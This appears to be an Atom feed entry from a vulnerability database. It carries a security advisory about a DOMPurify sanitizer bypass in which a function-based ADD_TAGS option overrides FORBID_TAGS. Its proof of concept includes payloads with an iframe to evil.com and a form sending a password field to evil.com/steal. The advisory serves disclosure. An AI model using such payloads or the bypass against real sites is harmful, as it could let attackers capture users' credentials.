<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-06T00:37:40.682099+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/ghsa-h7mw-gpvr-xq4m</id>
    <title>GHSA-h7mw-gpvr-xq4m — DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)</title>
    <updated>2026-10-06T00:37:40.685068+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: dompurify</p>
<p>There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.</p>
<p>Commit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214:</p>
<p>/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
    if (FORBID_ATTR[lcName]) {
      return false;
    }</p>
<p>The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:</p>
<p>if (
      !(
        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &amp;&amp;
        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -&gt; short-circuits
      ) &amp;&amp;
      (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated
    ) {</p>
<p>This allows forbidden elements to survive sanitization with their attributes intact.</p>
<p>PoC (tested against current HEAD in Node.js + jsdom):</p>
<p>const DOMPurify = createDOMPurify(window);</p>
<p>DOMPurify.sanitize(
      '&lt;iframe src="https://evil.com"&gt;&lt;/iframe&gt;',
      {
        ADD_TAGS: function(tag) { return true; },
        FORBID_TAGS: ['iframe']
      }
    );
    // Returns: '&lt;iframe src="https://evil.com"&gt;&lt;/iframe&gt;'
    // Expected: '' (iframe forbidden)</p>
<p>DOMPurify.sanitize(
      '&lt;form action="https://evil.com/steal"&gt;&lt;input name=password&gt;&lt;/form&gt;',
      {
        ADD_TAGS: function(tag) { return true; },
        FORBID_TAGS: ['form']
      }…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/ghsa-h7mw-gpvr-xq4m"/>
  </entry>
</feed>
